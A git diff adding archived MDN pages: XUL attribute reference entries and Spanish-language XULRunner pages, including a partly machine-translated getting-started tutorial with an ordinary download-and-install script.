+ <dt><code id="a-orient"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code></dt>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>Used to specify whether the children of the element are oriented horizontally or vertically. The default value depends on the element. You can also use the <a href="/en-US/docs/Web/CSS/-moz-box-orient" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-box-orient</code></a> style property.
+ <dl>
+  <dt><code>horizontal</code></dt>
+  <dd>Child elements of the element are placed next to each other in a row in the order that they appear in the XUL source.</dd>
+  <dt><code>vertical</code></dt>
+  <dd>Child elements of the element are placed under each other in a column in the order that they appear in the XUL source.</dd>
+ </dl>
+ </dd>
+</dl>
+
+
+</div> <div id="a-pack">
+
+
+<dl>
+ <dt><code id="a-pack"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/pack">pack</a></code></dt>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>The pack attribute specifies where child elements of the <code><a href="/en-US/docs/Mozilla/Tech/XUL/box" title="box">box</a></code> are placed when the box is larger that the size of the children. For boxes with horizontal orientation, it is used to indicate the position of children horizontally. For boxes with vertical orientation, it is used to indicate the position of children vertically. The <code id="a-align"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code> attribute is used to specify the position in the opposite direction. You can also specify the value of pack using the style property <a href="/en-US/docs/Web/CSS/-moz-box-pack" title="The -moz-box-pack and -webkit-box-pack CSS properties specify how a -moz-box or -webkit-box packs its contents in the direction of its layout. The effect of this is only visible if there is extra space in the box. See Flexbox for more about the properties of flexbox elements."><code>-moz-box-pack</code></a>.
+ <dl>
+  <dt><code>start</code></dt>
+  <dd>Child elements are placed starting from the left or top edge of the box. If the box is larger than the total size of the children, the extra space is placed on the right or bottom side.</dd>
+  <dt><code>center</code></dt>
+  <dd>Extra space is split equally along each side of the child elements, resulting the children being placed in the center of the box.</dd>
+  <dt><code>end</code></dt>
+  <dd>Child elements are placed on the right or bottom edge of the box. If the box is larger than the total size of the children, the extra space is placed on the left or top side.</dd>
+ </dl>
+ </dd>
+</dl>
+
+
+</div> <div id="a-persist">
+
+
+<dl>
+ <dt><code id="a-persist"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/persist">persist</a></code></dt>
+ <dd>Type: <em>space-separated list of attribute names</em></dd>
+ <dd>A space-separated list of attributes that are maintained when the window is closed. When the window is re-opened, the values of persistent attributes are restored. In Mozilla, persistent attributes are stored in the per-profile file <code>xulstore.json</code>. Persistence can also be stored using the <code>document.persist</code> function. In order for persistence to work, the element must also have an <code id="a-id"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code>. Persistence will not remember the <em>absence</em> of an attribute, so for boolean attributes like <code id="a-checked"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/checked">checked</a></code> where absence means <code>false</code>, you will need to explicitly set the attribute to false before the window closes (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=15232">bug 15232</a>).</dd>
+</dl>
+</div> <div id="a-popup">
+
+
+<dl>
+ <dt><code id="a-popup"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/popup">popup</a></code></dt>
+ <dd>Type: <em>id</em></dd>
+ <dd>Should be set to the value of the <code><code id="a-id"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> of the <code><code><a href="/en-US/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code></code> element that should appear when the user clicks on the element.</dd>
+</dl>
+
+
+</div> <div id="a-position">
+
+
+<dl>
+ <dt><code id="a-position"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/position">position</a></code></dt>
+ <dd>Type: <em>string</em> (representing an integer)</dd>
+ <dd>When an element is in an <code><a href="/en-US/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>, the position is an index where the child is inserted. The position is one-based, so use a value of 1 to place the element at the beginning. This attribute is ignored if either an <code id="a-insertbefore"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/insertbefore">insertbefore</a></code> or <code id="a-insertafter"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/insertafter">insertafter</a></code> attribute matches an element.</dd>
+</dl>
+</div> <div id="a-preference-editable">
+
+
+<dl>
+ <dt><code id="a-preference-editable"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/preference-editable">preference-editable</a></code></dt>
+ <dd><strong><span class="highlightgreen">Mozilla 1.8</span></strong></dd>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>If <code>true</code>, the element may be used as one that modifies a preference in a <code><a href="/en-US/docs/Mozilla/Tech/XUL/prefwindow" title="prefwindow">prefwindow</a></code>. The <code id="a-preference"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/preference">preference</a></code> attribute may be used to connect to a <code><a href="/en-US/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code> element. This is useful for custom elements implemented in XBL. The element should fire <code>change</code>, <code>command</code>, or <code>input</code> event when the value is changed so that the preference will update accordingly.<br>
+ <br>
+ See the <a href="/en/Preferences_System/New_attributes" title="en/Preferences System/New attributes">pref system documentation</a> for more information.</dd>
+</dl>
+</div> <div id="a-querytype">
+
+
+<dl>
+ <dt><code id="a-querytype"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/querytype">querytype</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>Indicates the type of datasource used in a template. Firefox 3 provides 3 built-in datasources: 'rdf', default, 'xml' and 'storage'. Extensions may provide support for additional datasources.</dd>
+</dl>
+</div> <div id="a-ref">
+
+
+<dl>
+ <dt><code id="a-ref"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/ref">ref</a></code></dt>
+ <dd>Type: <em>URI</em></dd>
+ <dd>For template-generated elements, this attribute is used to specify the root RDF node where content generation begins. This will correspond to the value of an about attribute on an RDF container. This attribute should be placed alongside the datasources attribute.</dd>
+</dl>
+</div> <div id="a-removeelement">
+
+
+<dl>
+ <dt><code id="a-removeelement"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/removeelement">removeelement</a></code></dt>
+ <dd>Type: <em>id</em></dd>
+ <dd>When placed on an element in an <code><a href="/en-US/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>, it indicates that the element in the base file should be removed from the window.</dd>
+</dl>
+</div> <div id="a-sortDirection">
+
+
+<dl>
+ <dt><code id="a-sortDirection"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/sortDirection">sortDirection</a></code></dt>
+ <dd>Type: <em>one of the values below</em></dd>
+ <dd>Set this attribute to set the direction that template-generated content is sorted. Use the <code id="a-sortResource"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/sortResource">sortResource</a></code> attribute to specify the sort key.
+ <dl>
+  <dt><code>ascending</code></dt>
+  <dd>The data is sorted in ascending order.</dd>
+  <dt><code>descending</code></dt>
+  <dd>The data is sorted in descending order.</dd>
+  <dt><code>natural</code></dt>
+  <dd>The data is sorted in natural order, which means the order that it is stored in.</dd>
+ </dl>
+ </dd>
+</dl>
+</div> <div id="a-sortResource">
+
+
+<dl>
+ <dt><code id="a-sortResource"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/sortResource">sortResource</a></code></dt>
+ <dd>Type: <em>URI</em></dd>
+ <dd>For template-generated content, this specifies the sort key, if you would like the content to be sorted. The key should be the full URI of the RDF resource to sort by, for example '<code><span class="nowiki">http://home.netscape.com/NC-rdf#Name</span></code>'. Place this attribute on the same element as the <code id="a-datasources"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/datasources">datasources</a></code> attribute. Use <code id="a-sortResource2"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/sortResource2">sortResource2</a></code> to specify a secondary sort key.</dd>
+</dl>
+</div> <div id="a-sortResource2">
+
+
+<dl>
+ <dt><code id="a-sortResource2"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/sortResource2">sortResource2</a></code></dt>
+ <dd>Type: <em>URI</em></dd>
+ <dd>The value of this attribute is the URI of an RDF predicate that serves as a secondary key for sorted content.</dd>
+</dl>
+</div> <div id="a-statustext">
+
+
+<dl>
+ <dt><code id="a-statustext"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/statustext">statustext</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>Used to set the text that appears on the status bar when the user moves the mouse over the element. Mozilla doesn't adjust the status bar automatically however. This attribute serves only as a place to keep the text. In Firefox, this text is automatically placed in the <code><code><a href="/en-US/docs/Mozilla/Tech/XUL/statusbar" title="statusbar">statusbar</a></code></code> for menuitems on the menu bar.</dd>
+</dl>
+
+
+</div> <div id="a-style">
+
+
+<dl>
+ <dt><code id="a-style"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/style">style</a></code></dt>
+ <dd>Type: <em>CSS inline style</em></dd>
+ <dd>CSS style rules to be applied to the element. Syntax is as in the HTML style attribute. It is preferred to put style rules in style sheets.</dd>
+</dl>
+</div> <div id="a-template">
+
+
+<dl>
+ <dt><code id="a-template"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/template">template</a></code></dt>
+ <dd>Type: <em>id</em></dd>
+ <dd>For template generated elements, this attribute may optionally be placed on the root node (the element with the <code id="a-datasources"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/datasources">datasources</a></code> attribute) to refer to a template that exists elsewhere in the XUL code. This template attribute should be set to the <code id="a-id"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code> of the <code><a href="/en-US/docs/Mozilla/Tech/XUL/template" title="template">template</a></code> element. This might be used to share a single template between multiple trees or menus. If this attribute is not specified, there should be a template element directly inside the node.</dd>
+</dl>
+</div> <div id="a-tooltip">
+
+
+<dl>
+ <dt><code id="a-tooltip"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/tooltip">tooltip</a></code></dt>
+ <dd>Type: <em>id</em></dd>
+ <dd>Should be set to the value of the <code id="a-id"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code> of the <code><a href="/en-US/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code> or <code><a href="/en-US/docs/Mozilla/Tech/XUL/panel" title="panel">panel</a></code> element that should be used as a tooltip window when the mouse hovers over the element for a moment. The tooltip will automatically disappear when the mouse is moved. If this attribute is set to '_child', the first <code><a href="/en-US/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code> child element inside the element is used.</dd>
+</dl>
+</div> <div id="a-tooltiptext">
+
+
+<dl>
+ <dt><code id="a-tooltiptext"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/tooltiptext">tooltiptext</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>Used to set the text which appears in the tooltip when the user moves the mouse over the element. This can be used instead of setting the tooltip to a popup for the common case where it contains only text. The tooltip is displayed in a default tooltip which displays only a label, however the default tooltip may be changed by setting the default attribute on a <code><a href="/en-US/docs/Mozilla/Tech/XUL/tooltip" title="tooltip">tooltip</a></code> element.</dd>
+</dl>
+</div> <div id="a-top">
+
+
+<dl>
+ <dt><code id="a-top"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/top">top</a></code></dt>
+ <dd>Type: <em>string</em> (representing an integer)</dd>
+ <dd>For elements placed directly within a <code><a href="/en-US/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code>, specifies the pixel position of the top edge of the element relative to the top edge of the stack.</dd>
+</dl>
+</div> <div id="a-uri">
+
+
+<dl>
+ <dt><code id="a-uri"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/uri">uri</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>For template-generated content, the attribute should be placed on the element where content generation should begin. Thus, it should be placed on an element that is a descendant of a template. The value should be set to <code>rdf:*</code>.</dd>
+</dl>
+
+<dl>
+ <dd>Elements that appear inside the element with the attribute will be repeated for each node in the RDF datasource. Elements outside will appear only once.</dd>
+</dl>
+</div> <div id="a-wait-cursor">
+
+
+<dl>
+  <dt>
+    <code id="a-wait-cursor"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/wait-cursor">wait-cursor</a></code></dt>
+  <dd>
+    Type: <em>boolean</em></dd>
+  <dd>
+    Set this attribute to true to have the cursor switch to a waiting cursor while the mouse is hovering over the element. Usually, you would only use this on the <code><a href="/en-US/docs/Mozilla/Tech/XUL/window" title="window">window</a></code> element or other top-level elements. In order to revert to the normal cursor state call the method <code>removeAttribute("wait-cursor")</code> when the process effectively has ended otherwise the wait cursor might never disappear.</dd>
+</dl>
+
+</div> <div id="a-width">
+
+
+<dl>
+ <dt><code id="a-width"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/width">width</a></code></dt>
+ <dd>Type: <em>string</em> (representing an integer)</dd>
+ <dd>The preferred width of the element. The value should not include a unit as all values are in pixels. The actual displayed width may be different if the element or its contents have a minimum or maximum width, or the size is adjusted by the flexibility or alignment of its parent. The CSS width property may also be used.</dd>
+</dl>
+
+
+</div>
diff --git a/files/es/archive/mozilla/xulrunner/componentes/index.html b/files/es/archive/mozilla/xulrunner/componentes/index.html
new file mode 100644
index 0000000000..43a9d08d67
--- /dev/null
+++ b/files/es/archive/mozilla/xulrunner/componentes/index.html
@@ -0,0 +1,16 @@
+---
+title: Componentes
+slug: Archive/Mozilla/XULRunner/Componentes
+tags:
+  - Componentes
+  - Todas_las_Categorías
+translation_of: Archive/Mozilla/XULRunner/Components
+---
+<p> </p>
+<h3 id="Componentes.2C_Listado_alfab.C3.A9tico_.28Incompleto.29" name="Componentes.2C_Listado_alfab.C3.A9tico_.28Incompleto.29">Componentes, Listado alfabético (Incompleto)</h3>
+<ul>
+ <li><a href="es/NsDirectoryService">nsDirectoryService</a></li>
+ <li><a href="es/NsObserverService">nsObserverService</a></li>
+ <li><a href="es/NsScriptableInputStream">nsScriptableInputStream</a></li>
+</ul>
+<p><span class="comment">categorías</span></p>
diff --git a/files/es/archive/mozilla/xulrunner/index.html b/files/es/archive/mozilla/xulrunner/index.html
new file mode 100644
index 0000000000..74f6b6313a
--- /dev/null
+++ b/files/es/archive/mozilla/xulrunner/index.html
@@ -0,0 +1,96 @@
+---
+title: XULRunner
+slug: Archive/Mozilla/XULRunner
+tags:
+  - Todas_las_Categorías
+  - XUL
+  - 'XUL:Herramientas'
+  - XULRunner
+translation_of: Archive/Mozilla/XULRunner
+---
+<div style="text-align: justify;">
+<div class="callout-box">
+  <strong><a href="/en-US/docs/Getting_started_with_XULRunner" title="Getting_started_with_XULRunner">Primeros pasos con XULRunner</a> (en inglés)</strong><br>
+  Una pequeña introducción a XULRunner.</div>
+<div>
+  <strong>XULRunner</strong> es un paquete de ejecución de Mozilla que puede ser usado para crear aplicaciones <a href="/es/docs/XUL" title="XUL">XUL</a>+<a href="/es/docs/XPCOM" title="XPCOM">XPCOM</a> tan valiosas como Firefox y Thunderbird. Ofrecerá mecanismos para instalar, actualizar y desinstalar esas aplicaciones. XULRunner ofrecerá también libxul, una solución que permite la integración de las tecnologías de Mozilla en otros proyectos y productos.</div>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 id="Versiones" name="Versiones">Versiones</h2>
+        <div class="note" style="text-align: justify;">
+          <p>XULRunner 20.0 ha sido liberado y puede ser <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/" title="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/">descargado desde ftp.mozilla.org</a>. Por favor leer las <a class="internal" href="/en-US/docs/XULRunner_1.9.2_Release_Notes" title="XULRunner 1.9.2 Release Notes">notas de versión (en inglés)</a> para instalación, desinstalación, y otras informaciones.</p>
+          <p>Firefox 3 y posteriores son entregados con un paquete propio de XULRunner, el cual puede ejecutar cualquier aplicación compatible de XULRunner usando el interruptor <code>-app</code>.</p>
+          <p><a href="/en-US/docs/XULRunner/Old_Releases" title="XULRunner/Old_Releases">Versiones anteriores</a> (en inglés) que están también disponibles.</p>
+        </div>
+        <h2 id="Generalidades" name="Generalidades">Generalidades</h2>
+        <ul>
+          <li><a class="wikimo" href="https://wiki.mozilla.org/XULRunner" title="Development Plan">Development Plan</a> Plan de desarrollo (en inglés)</li>
+          <li><a href="/en-US/docs/XULRunner/What_XULRunner_Provides" title="XULRunner/What_XULRunner_Provides">Que ofrece XULRunner</a> (en inglés)</li>
+          <li><a href="/en-US/docs/XULRunner_FAQ" title="XULRunner_FAQ">XULRunner FAQ</a> (en inglés)</li>
+          <li>Versiones periódicas (Nightly builds): <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/nightly/latest-trunk/">rama-inestable</a></li>
+        </ul>
+        <h2 class="Documentacion" id="Documentacion" name="Documentacion">Documentación</h2>
+        <dl style="text-align: justify;">
+          <dt>
+            <a href="/en-US/docs/Getting_started_with_XULRunner" title="Getting_started_with_XULRunner">Primeros pasos con XULRunner</a> (en inglés)</dt>
+          <dd>
+            Un pequeño tutorial sobre como construir aplicaciones de escritorio con XULRunner.</dd>
+          <dt>
+            <a href="/es/docs/Tutorial_de_XUL" title="Tutorial de XUL">Tutorial de XUL</a></dt>
+          <dd>
+            Una vez que tenga trabajando una aplicación XULRunner, use el tutorial XUL para expandir capacidades y convertirla en una fantastica aplicación XUL.</dd>
+          <dt>
+            <a href="/en-US/docs/XULRunner_tips" title="XULRunner_tips">Consejos y trucos para XULRunner</a> (en inglés)</dt>
+          <dd>
+            Una colección de consejos y trucos para trabajar con XULRunner.</dd>
+          <dt>
+            <a href="/en-US/docs/XULRunner/Deploying_XULRunner_1.8" title="XULRunner/Deploying_XULRunner_1.8">Implementar de XULRunner</a> (en inglés)</dt>
+          <dd>
+            Una introducción de como empaquetar tus aplicaciones con XULRunner.</dd>
+          <dt>
+            <a href="/en-US/docs/XULRunner_Hall_of_Fame" title="XULRunner_Hall_of_Fame">Salón de la Fama XULRunner</a> (en inglés)</dt>
+          <dd>
+            Lista todas las aplicaciones publicadas basadas en XULRunner.</dd>
+          <dt>
+            <a href="/es/docs/Documentación_para_la_compilación" title="Documentación_para_la_compilación">Documentación para la compilación</a></dt>
+          <dd>
+            Aprender como conseguir el código fuente y compilarlo.</dd>
+          <dt>
+            <a href="/en-US/docs/Debugging_a_XULRunner_Application" title="Debugging_a_XULRunner_Application">Documentación sobre depuración</a> (en inglés)</dt>
+          <dd>
+            Pasos para configurar Venkman para depurar la aplicación</dd>
+          <dt>
+            <a class="external" href="http://zenit.senecac.on.ca/wiki/index.php/XULRunner_Guide">Guía de XULRunner</a> (en inglés)</dt>
+          <dd>
+            Un material bastante completo, pero desactualizado, introducción y tutorial para XULRunner que reúne gran parte de la documentación se encuentran aquí.</dd>
+        </dl>
+        <p><span class="alllinks"><a href="/es/docs/tag/XULRunner" title="tag/XULRunner">Ver todo...</a></span></p>
+      </td>
+      <td>
+        <h2 class="Community" id="Comunidad" name="Comunidad">Comunidad</h2>
+        <ul>
+          <li>Ver foros de Mozilla... <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-platform"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.platform"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.platform/feeds"> como RSS</a></li>
+</ul></li>
+          <li><a class="link-irc" href="irc://irc.mozilla.org/#xulrunner">Sala de charla #xulrunner en irc.mozilla.org</a> (en inglés)</li>
+          <li><a href="/en-US/docs/XULRunner/Community" title="XULRunner/Community">Enlaces a otras comunidades...</a> (en inglés)</li>
+        </ul>
+        <h2 class="Related_Topics" id="Temas_relacionados" name="Temas_relacionados">Temas relacionados</h2>
+        <ul>
+          <li><a href="/es/docs/XUL" title="XUL">XUL</a></li>
+        </ul>
+        <h2 id="Ver_tambien" name="Ver_tambien">Ver también</h2>
+        <ul>
+          <li><a class="external" href="http://www.kodewerx.org/wiki/A_Brief_Introduction_To_XULRunner:_Part_1" title="http://www.kodewerx.org/wiki/A_Brief_Introduction_To_XULRunner:_Part_1">Pequeña introducción a XULRunner</a> (en inglés)</li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
+</div>
diff --git a/files/es/archive/mozilla/xulrunner/primeros_pasos_con_xulrunner/index.html b/files/es/archive/mozilla/xulrunner/primeros_pasos_con_xulrunner/index.html
new file mode 100644
index 0000000000..f03a183d27
--- /dev/null
+++ b/files/es/archive/mozilla/xulrunner/primeros_pasos_con_xulrunner/index.html
@@ -0,0 +1,280 @@
+---
+title: Primeros pasos con XULRunner
+slug: Archive/Mozilla/XULRunner/Primeros_pasos_con_XULRunner
+translation_of: Archive/Mozilla/XULRunner/Getting_started_with_XULRunner
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Windows_and_menus_in_XULRunner">Siguiente  »</a></p>
+</div><p></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Este artículo explora</span> <a href="https://developer.mozilla.org/es/docs/La_plataforma_Mozilla" title="https://developer.mozilla.org/en-US/docs/The_Mozilla_platform"><span class="hps">la plataforma</span> <span class="hps">Mozilla</span></a> <span class="hps">mediante la construcción de</span> <span class="hps">una aplicación de escritorio</span> <span class="hps">básico utilizando</span> <a href="https://developer.mozilla.org/es/docs/XULRunner" title="https://developer.mozilla.org/es/docs/XULRunner"><span class="hps">XULRunner</span></a><span>.</span> <span class="hps">Dado que</span> <span class="hps">Firefox</span><span>, Thunderbird</span> <span class="hps">y</span> <span class="hps">otras múltiples</span> <span class="hps">aplicaciones</span> <span class="hps">se escriben utilizando</span> <span class="hps">la plataforma</span><span>, es</span> <span class="hps">una apuesta segura que</span> <span class="hps">se puede utilizar</span> <span class="hps">para crear una aplicación</span> <span class="hps">básica.</span> <span class="hps">Hay un artículo</span> <span class="hps">con un</span> <span class="hps">enfoque más</span> <span class="hps">complicado de</span> <span class="hps">construir aplicaciones</span> <span class="hps">XULRunner</span> <span class="hps">en</span> <a href="https://developer.mozilla.org/en-US/docs/Creating_XULRunner_Apps_with_the_Mozilla_Build_System" title="https://developer.mozilla.org/en-US/docs/Creating_XULRunner_Apps_with_the_Mozilla_Build_System"><span class="hps">Creación de</span> <span class="hps">aplicaciones</span> <span class="hps">XULRunner</span> <span class="hps">con el Sistema de</span> <span class="hps">Mozilla</span> <span class="hps">Build</span></a><span>.</span> <span class="hps">Si</span> <span class="hps">necesita cambiar</span> <span class="hps">la propia</span> <span class="hps">XULRunner</span> <span class="hps">o</span> <span class="hps">integrarlo con</span> <span class="hps">código binario externo</span> <span class="hps">puede que tenga que</span> <span class="hps">leer</span> <span class="hps">este artículo.</span></span></p>
+
+<h2 id="Step_1:_Download_XULRunner" name="Step_1:_Download_XULRunner">Paso 1: Descargar XULRunner</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Usted puede encontrar</span> <span class="hps">un enlace de descarga</span> <span class="hps">en la página principal</span> <a href="https://developer.mozilla.org/es/docs/XULRunner" title="https://developer.mozilla.org/es/docs/XULRunner"><span class="hps">XULRunner</span></a> <span class="hps">aquí en</span> <span class="hps">MDC</span><span>.</span> <span class="hps">Dado que</span> <span class="hps">no estamos creando</span> <span class="hps">ningún componente</span> <span class="hps">XPCOM</span> <span class="hps">binarios</span><span>,</span> <span class="hps">sólo tenemos que</span> <span class="hps">descargar e instalar el</span> <span class="hps">paquete de</span> <span class="hps">tiempo de ejecución</span> <span class="hps">XULRunner</span><span>, no el</span> <span class="hps"><a href="https://developer.mozilla.org/es/docs/Gecko_SDK" title="https://developer.mozilla.org/es/docs/Gecko_SDK">SDK</a>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">La descarga</span> de <span class="hps">XULRunner</span> <span class="hps">para Windows es</span> <span class="hps">un archivo</span> <em><span class="hps">.zip</span></em><span>, no un</span> <span class="hps">archivo ejecutable</span><span class="hps">.</span> <span class="hps">Como desarrollador</span><span>, me gusta</span> <span class="hps">la idea de que</span> <span class="hps">XULRunner</span> <span class="hps">sólo necesita ser</span> <span class="hps">descomprimido</span> <span class="hps">en mi</span> <span class="hps">máquina.</span> <span class="hps">Supongo que</span> <span class="hps">no es necesario</span> <span class="hps">conectar</span> <span class="hps">a mi</span> <span class="hps">sistema de Windows</span> <span class="hps">y eso es una</span> <span class="hps">buena cosa.</span> <span class="hps">También significa</span> <span class="hps">que el</span> <span class="hps">XULRunner</span> <span class="hps">es portátil</span><span>, así que si</span> <span class="hps">usted desarrolla</span> <span class="hps">sus aplicaciones</span> <span class="hps">para ser portátil</span> <span class="hps">se puede</span> <span class="hps">llevar a todas partes</span> <span class="hps">en una unidad</span> <span class="hps">flash o</span> <span class="hps">sincronizarlos</span> <span class="hps">en la nube.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">La</span> <span class="hps">versión para Mac de</span> <span class="hps">XULRunner</span> <span class="hps">se distribuye</span> <span class="hps">como un archivo</span> <em><span class="hps">tar.bz2</span></em><span>.</span> <span class="hps">Puede</span> <span class="hps">extraer</span> <span class="hps">este</span> <span class="hps">a cualquier lugar</span> <span class="hps">que quieras,</span> <span class="hps">pero hay</span> <span class="hps">muchos lugares en</span> <span class="hps">la documentación</span> <span class="hps">que</span> <span class="hps">se supone que tiene</span> <span class="hps">esta</span> <span class="hps">instalado en</span></span> <code>/Library/Frameworks</code>.</p>
+
+<p><span id="result_box" lang="es"><span class="hps">En el</span> <span class="hps">escritorio de Ubuntu</span> <span class="atn hps">y sus derivados (</span><span>Xubuntu</span><span>,</span> <span class="hps">Kubuntu</span><span>, ...)</span><span>, a partir de</span> <span class="hps">la versión</span> <span class="atn hps">11.10 (</span><span>Ocelot</span> <span class="hps">onírico</span><span>)</span><span>,</span> <span class="hps">XULRunner</span> <span class="hps">no está</span> <span class="hps">más</span> <span class="hps">cuidada y</span> <span class="hps">no existe en el</span> <span class="hps">repositorio de</span> <span class="hps">Ubuntu.</span> <span class="hps">Por lo tanto</span><span>, ya sea</span> <span class="hps">que usted necesita</span> <span class="hps">para compilar</span> <span class="hps">XULRunner</span> <span class="hps">manual o</span> <span class="hps">descargar una versión</span> <span class="hps">binaria</span> <span class="hps">del</span> <span class="hps">servidor</span> <span class="hps">FTP</span> <span class="hps">de Mozilla.</span> <span class="hps">Una forma de</span> <span class="hps">archieve</span> <span class="hps">esto es ejecutar</span> <span class="hps">la siguiente</span> <span class="hps">secuencia de comandos</span> <span class="hps">cada vez que</span> <span class="hps">se desea instalar</span> <span class="hps">una nueva versión</span><span>:</span></span></p>
+
+<div class="note"><code>FIREFOX_VERSION=`grep -Po  "\d{2}\.\d+" /usr/lib/firefox/platform.ini`<br>
+ARCH=`uname -p`<br>
+XURL=https://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/$FIREFOX_VERSION/runtimes/xulrunner-$FIREFOX_VERSION.en-US.linux-$ARCH.tar.bz2<br>
+cd /opt<br>
+sudo sh -c "wget -O- $XURL | tar -xj"<br>
+sudo ln -s /opt/xulrunner/xulrunner /usr/bin/xulrunner<br>
+sudo ln -s /opt/xulrunner/xpcshell /usr/bin/xpcshell </code></div>
+
+<p>You could also save this script to a file for convenience.  Note: If you are using Firefox build from Ubuntuzilla repository, replace <code>/usr/lib/firefox/platform.ini</code> with <code>/opt/firefox/platform.ini</code>.</p>
+
+<h2 id="Step_2:__Install_XULRunner" name="Step_2:__Install_XULRunner">Step 2: Install XULRunner</h2>
+
+<p>On Windows, unzip the archive someplace reasonable. I unzipped it to a new <code>C:\program files\xulrunner</code> folder.</p>
+
+<p>On the Mac, extract the tar.bz2 archive, which contains XULRunner as <code>XUL.Framework.</code>  Copy this to the <code>/Library/Frameworks</code> directory, or another location of your choice.</p>
+
+<p>On Linux, you only need to unpack the archive if you are using a pre-release XULRunner.</p>
+
+<div class="note">
+<p>Optionally, if you've downloaded the compressed archive of XULRunner and would like to install it on your system you can do so by running</p>
+
+<p><code>xulrunner --register-global</code></p>
+
+<p>as an administrator to register XULRunner for all users on the machine. To register XULRunner for a single user run</p>
+
+<p><code>xulrunner --register-user</code></p>
+
+<p><code>XULRunner will work whether you install it or not. This is purely for convenience.</code></p>
+</div>
+
+<div class="note">
+<p><span style="color: rgb(93, 86, 54); font-size: 14px; line-height: 1.5em;">In all systems you should unzip the </span><a href="/en-US/docs/Mozilla/About_omni.ja_(formerly_omni.jar)" style="line-height: 1.5em; font-size: 14px;" title="/en-US/docs/Mozilla/About_omni.ja_(formerly_omni.jar)">omni.ja</a><span style="color: rgb(93, 86, 54); font-size: 14px; line-height: 1.5em;"> file into some example directory and take a look at all the awesome! First change the file extension to zip and then use your normal filesystem's decompression tool to open it up. The contents of omni.ja are available to XULRunner applications and are what make it possible to build amazing applications easily!</span></p>
+</div>
+
+<h2 id="Step_3:_Create_the_application_folder_structure" name="Step_3:_Create_the_application_folder_structure">Step 3: Create the application folder structure</h2>
+
